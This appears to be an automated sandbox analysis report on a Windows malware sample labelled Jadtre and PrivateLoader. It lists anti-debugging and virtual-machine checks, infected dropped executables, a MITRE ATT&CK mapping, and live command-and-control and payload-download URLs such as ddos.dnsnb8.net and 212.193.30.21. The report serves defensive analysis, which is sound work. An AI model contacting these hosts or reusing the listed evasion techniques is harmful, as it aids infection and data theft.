Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\vXQpuA.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

graph_1-1169

Source: C:\Users\user\AppData\Local\Temp\vXQpuA.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\vXQpuA.exe	Dropped PE file which has not been started: C:\Program Files\7-Zip\Uninstall.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\vXQpuA.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\vXQpuA.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_1-910

Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe

API coverage: 4.9 %

Source: C:\Users\user\AppData\Local\Temp\vXQpuA.exe

Code function: 1_2_00611718 GetSystemTimeAsFileTime followed by cmp: cmp dword ptr [ebp+08h], 02h and CTI: jne 00611754h

1_2_00611718

Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Code function: 0_2_00357261 FindFirstFileExW,		0_2_00357261
Source: C:\Users\user\AppData\Local\Temp\vXQpuA.exe	Code function: 1_2_006129E2 memset,wsprintfA,memset,lstrlen,lstrcpyn,strrchr,lstrcmpiA,lstrlen,memset,memset,FindFirstFileA,memset,FindNextFileA,lstrcmpiA,FindNextFileA,FindClose,		1_2_006129E2

Source: C:\Users\user\AppData\Local\Temp\vXQpuA.exe

Code function: 1_2_00612B8C memset,GetLogicalDriveStringsA,CreateThread,GetDriveTypeA,CreateThread,lstrlen,WaitForMultipleObjects,CreateThread,

1_2_00612B8C

Source: C:\Users\user\AppData\Local\Temp\vXQpuA.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vXQpuA.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\UIThemes\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vXQpuA.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vXQpuA.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vXQpuA.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vXQpuA.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\	Jump to behavior

Source: 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000002.3286736589.0000000000C1E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(g
Source: Amcache.hve.5.dr	Binary or memory string: VMware
Source: Amcache.hve.5.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.5.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.5.dr	Binary or memory string: VMware, Inc.
Source: 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000002.3286736589.0000000000C5B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWo
Source: Amcache.hve.5.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.5.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.5.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.5.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000002.3286736589.0000000000C5B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.5.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.5.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: vXQpuA.exe, 00000001.00000002.2257628282.0000000000D15000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Amcache.hve.5.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.5.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.5.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.5.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.5.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.5.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.5.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.5.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.5.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.5.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.5.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.5.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.5.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.5.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.5.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.5.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.5.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.5.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.5.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\AppData\Local\Temp\vXQpuA.exe

API call chain: ExitProcess graph end node

graph_1-885

Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe

Code function: 0_2_00349C79 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00349C79

Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Code function: 0_2_00374044 mov eax, dword ptr fs:[00000030h]	0_2_00374044
Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Code function: 0_2_00352633 mov eax, dword ptr fs:[00000030h]	0_2_00352633
Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Code function: 0_2_00356EFD mov eax, dword ptr fs:[00000030h]	0_2_00356EFD

Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe

Code function: 0_2_003581A7 GetProcessHeap,

0_2_003581A7

Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Code function: 0_2_00349359 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00349359
Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Code function: 0_2_00349C79 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00349C79
Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Code function: 0_2_0034CD36 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0034CD36
Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	Code function: 0_2_00349E0F SetUnhandledExceptionFilter,	0_2_00349E0F

Source: SciTE.exe.1.dr

Binary or memory string: Ctrl+RightLeftDownUpDecimalMinusMultiplyDivideTabSpaceDeleteEscapeEndInsertEnterHomeForwardBackwardPLAT_WIN1PageDownPageUpMenuWinSciTEACCELSSciTEWindowContentSciTEWindowPLAT_WINNT1toolbar.largecreate.hidden.consolegbkbig5euc-krshift_jisutf-8asciilatin2latin1translation.encodingwindows-1251ScaleFactoriso-8859-5cyrillic1250iso8859-11SciTE_HOMEAppsUseLightThemeSciTE_USERHOMESciTE_HOMEPropertiesScaleFactorSoftware\Microsoft\Windows\CurrentVersion\Themes\PersonalizeEmbeddedRich Text FormatButtonShell_TrayWndUSERPROFILESciTE_HOMEHtmlHelpWHHCTRL.OCX

Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe

Code function: 0_2_00349A99 cpuid

0_2_00349A99

Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe

Code function: 0_2_00349EE1 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00349EE1

Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe

Code function: 0_2_003219B0 LoadLibraryA,LoadLibraryA,__aulldiv,Sleep,GetModuleFileNameA,GetUserNameA,DeleteFileA,operator!=,__aulldiv,_strstr,operator!=,_strstr,ShellExecuteA,WinExec,WinExec,

0_2_003219B0

Source: C:\Users\user\AppData\Local\Temp\vXQpuA.exe

Code function: 1_2_0061139F GetVersionExA,LookupPrivilegeValueA,GetCurrentProcessId,

1_2_0061139F

Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.5.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.5.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.5.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.5.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Bdaejec

Source: Yara match

File source: Process Memory Space: vXQpuA.exe PID: 5064, type: MEMORYSTR

Yara detected PrivateLoader

Source: Yara match	File source: 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, type: SAMPLE
Source: Yara match	File source: 0.0.611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe.310000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe.310000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.2033107820.0000000000311000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Bdaejec

Source: Yara match

File source: Process Memory Space: vXQpuA.exe PID: 5064, type: MEMORYSTR

Yara detected PrivateLoader

Source: Yara match	File source: 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, type: SAMPLE
Source: Yara match	File source: 0.0.611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe.310000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe.310000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.2033107820.0000000000311000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe

Code function: 0_2_00312010 __ehhandler$??1_Scoped_lock@?$SafeRWList@UListEntry@details@Concurrency@@VNoCount@CollectionTypes@23@V_ReaderWriterLock@23@@details@Concurrency@@QAE@XZ,

0_2_00312010

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	11 Input Capture	11 System Time Discovery	1 Taint Shared Content	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	3 Command and Scripting Interpreter	4 Windows Service	1 Access Token Manipulation	3 Obfuscated Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	11 Input Capture	4 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Service Execution	Logon Script (Windows)	4 Windows Service	12 Software Packing	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	2 Process Injection	1 DLL Side-Loading	NTDS	14 System Information Discovery	Distributed Component Object Model	Input Capture	4 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Access Token Manipulation	LSA Secrets	1 Query Registry	SSH	Keylogging	15 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Process Injection	Cached Domain Credentials	131 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	1 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	97%	ReversingLabs	Win32.Virus.Jadtre
611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	100%	Avira	W32/Jadtre.B
611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\vXQpuA.exe	100%	Avira	TR/Dldr.Small.Z.haljq
C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	100%	Avira	W32/Jadtre.B
C:\Program Files\7-Zip\Uninstall.exe	100%	Avira	W32/Jadtre.B
C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	100%	Avira	W32/Jadtre.B
C:\Users\user\AppData\Local\Temp\vXQpuA.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	100%	Joe Sandbox ML
C:\Program Files\7-Zip\Uninstall.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\vXQpuA.exe	92%	ReversingLabs	Win32.Trojan.Madeba

Source	Detection	Scanner	Label
http://upx.sf.net	0%	URL Reputation	safe
http://crl.m	0%	URL Reputation	safe
http://212.193.30.29/	0%	Avira URL Cloud	safe
https://ipinfo.io/	0%	URL Reputation	safe
http://www.scintilla.org/scite.rng	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net:799/cj//k1.rarx	100%	Avira URL Cloud	malware
http://212.193.30.21/Corporation1	0%	Avira URL Cloud	safe
http://212.193.30.21/	0%	Avira URL Cloud	safe
https://pastebin.com:443/raw/A7dSG1te	0%	Avira URL Cloud	safe
http://212.193.30.21:80/service/communication.php	0%	Avira URL Cloud	safe
http://212.193.30.21/service/communication.phpK	0%	Avira URL Cloud	safe
https://twitter.com/telegram	0%	Avira URL Cloud	safe
http://www.activestate.comHolger	0%	Avira URL Cloud	safe
http://212.193.30.45/proxies.txt	0%	Avira URL Cloud	safe
https://softs-portal.com/api/registerUser.phpg	100%	Avira URL Cloud	malware
http://ddos.dnsnb8.net:799/cj//k1.rarDownloadManager	100%	Avira URL Cloud	malware
https://telegram.org/img/t_logo.png	0%	Avira URL Cloud	safe
https://softs-portal.com/api/registerUser.php	100%	Avira URL Cloud	malware
https://db-ip.com/	0%	Avira URL Cloud	safe
http://212.193.30.45/	0%	Avira URL Cloud	safe
http://www.microsoft.co	0%	Avira URL Cloud	safe
http://www.baanboard.comBrendon	0%	Avira URL Cloud	safe
http://wfsdragon.ru/api/setStats.php	100%	Avira URL Cloud	phishing
https://ipinfo.io/Content-Type:	0%	Avira URL Cloud	safe
http://www.scintilla.org	0%	Avira URL Cloud	safe
https://ipgeolocation.io/	0%	Avira URL Cloud	safe
http://wfsdragon.ru/	0%	Avira URL Cloud	safe
https://telegram.org/	0%	Avira URL Cloud	safe
http://212.193.30.45/proxies.txtE	0%	Avira URL Cloud	safe
http://wfsdragon.ru:80/api/setStats.php	100%	Avira URL Cloud	phishing
http://www.develop.com	0%	Avira URL Cloud	safe
https://softs-portal.com/	100%	Avira URL Cloud	malware
http://212.193.30.21/hp	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net:799/cj//k1.rar	100%	Avira URL Cloud	phishing
https://db-ip.com/https://ipgeolocation.io/https://www.maxmind.com/en/locate-my-ip-addresstype	0%	Avira URL Cloud	safe
http://www.spaceblue.com	0%	Avira URL Cloud	safe
http://www.baanboard.com	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net:799/cj//k1.rar0	100%	Avira URL Cloud	malware
http://ddos.dnsnb8.net:799/cj//k1.rar&	100%	Avira URL Cloud	phishing
http://www.develop.comDeepak	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net:799/cj//k1.rarras	100%	Avira URL Cloud	phishing
https://telegram.org/file/400780400431/1/-u0XrknOtfw.232636/60f98efd626b95d010	0%	Avira URL Cloud	safe
https://core.telegram.org/api	0%	Avira URL Cloud	safe
https://pastebin.com/raw/A7dSG1te	0%	Avira URL Cloud	safe
http://www.rftp.comJosiah	0%	Avira URL Cloud	safe
http://212.193.30.21/service/communication.phpk_	0%	Avira URL Cloud	safe
http://212.193.30.29/server.txt	0%	Avira URL Cloud	safe
http://%s:%d/%s/%sZwQuerySystemInformationntdll.dllNtSystemDebugControlSeDebugPrivilege%s%.8x.bat:DE	0%	Avira URL Cloud	safe
http://www.activestate.com	0%	Avira URL Cloud	safe
http://212.193.30.21/hp0	0%	Avira URL Cloud	safe
http://www.rftp.com	0%	Avira URL Cloud	safe
http://www.spaceblue.comMathias	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net:799/cj//k1.rarI	100%	Avira URL Cloud	phishing
https://www.smartsharesystems.com/Morten	0%	Avira URL Cloud	safe
http://212.193.30.21/service/communication.php0	0%	Avira URL Cloud	safe
https://pastebin.com/~	0%	Avira URL Cloud	safe
http://www.lua.org	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net:799/cj//k1.rarW	100%	Avira URL Cloud	phishing
https://www.maxmind.com/en/locate-my-ip-address	0%	Avira URL Cloud	safe
https://telegram.org/J	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net/	100%	Avira URL Cloud	phishing
http://212.193.30.21/service/communication.php	0%	Avira URL Cloud	safe
https://telegram.org:443/P7	0%	Avira URL Cloud	safe
http://212.193.30.21/service/communication.php$	0%	Avira URL Cloud	safe
https://telegram.org/file/400780400026/1/xwmW8Qofk5M.263566/16218cb12e7549e76b	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net:799/cj//k1.rare	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
telegram.org	149.154.167.99	true	false	unknown
wfsdragon.ru	172.67.133.215	true	false	unknown
pastebin.com	104.20.4.235	true	true	unknown
ddos.dnsnb8.net	unknown	unknown	true	unknown
softs-portal.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://telegram.org/	false	Avira URL Cloud: safe	unknown
https://pastebin.com/raw/A7dSG1te	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://pastebin.com:443/raw/A7dSG1te	611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000002.3286736589.0000000000C47000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://212.193.30.21/Corporation1	611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000002.3286736589.0000000000CCF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://212.193.30.21:80/service/communication.php	611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000002.3286736589.0000000000C1E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://212.193.30.29/	611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000002.3286736589.0000000000C5B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.scintilla.org/scite.rng	SciTE.exe.1.dr	false	Avira URL Cloud: safe	unknown
https://twitter.com/telegram	611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000003.2048753029.0000000000CB1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k1.rarx	vXQpuA.exe, 00000001.00000002.2257628282.0000000000D43000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://212.193.30.21/	611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000002.3286736589.0000000000D0B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://212.193.30.21/service/communication.phpK	611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000002.3286736589.0000000000CCF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.activestate.comHolger	SciTE.exe.1.dr	false	Avira URL Cloud: safe	unknown
http://212.193.30.45/proxies.txt	611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000002.3286736589.0000000000C5B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k1.rarDownloadManager	vXQpuA.exe, 00000001.00000002.2257628282.0000000000D15000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://softs-portal.com/api/registerUser.phpg	611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000002.3286736589.0000000000C5B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://telegram.org/img/t_logo.png	611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000002.3286736589.0000000000C5B000.00000004.00000020.00020000.00000000.sdmp, 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000003.2048824800.0000000000C7C000.00000004.00000020.00020000.00000000.sdmp, 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000003.2048753029.0000000000CB1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://212.193.30.45/	611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000002.3286736589.0000000000C5B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.microsoft.co	611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000003.2048824800.0000000000C7C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://softs-portal.com/api/registerUser.php	611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000002.3286736589.0000000000CCF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://db-ip.com/	611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	false	Avira URL Cloud: safe	unknown
http://www.baanboard.comBrendon	SciTE.exe.1.dr	false	Avira URL Cloud: safe	unknown
http://wfsdragon.ru/api/setStats.php	611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000002.3286736589.0000000000CCF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://ipinfo.io/Content-Type:	611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	false	Avira URL Cloud: safe	unknown
https://www.smartsharesystems.com/	SciTE.exe.1.dr	false		unknown
http://www.scintilla.org	SciTE.exe.1.dr	false	Avira URL Cloud: safe	unknown
http://wfsdragon.ru:80/api/setStats.php	611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000002.3286736589.0000000000C5B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://ipgeolocation.io/	611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	false	Avira URL Cloud: safe	unknown
http://212.193.30.45/proxies.txtE	611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000002.3286736589.0000000000C5B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://wfsdragon.ru/	611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000002.3286736589.0000000000CCF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://212.193.30.21/hp	611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000002.3286736589.0000000000CCF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.develop.com	SciTE.exe.1.dr	false	Avira URL Cloud: safe	unknown
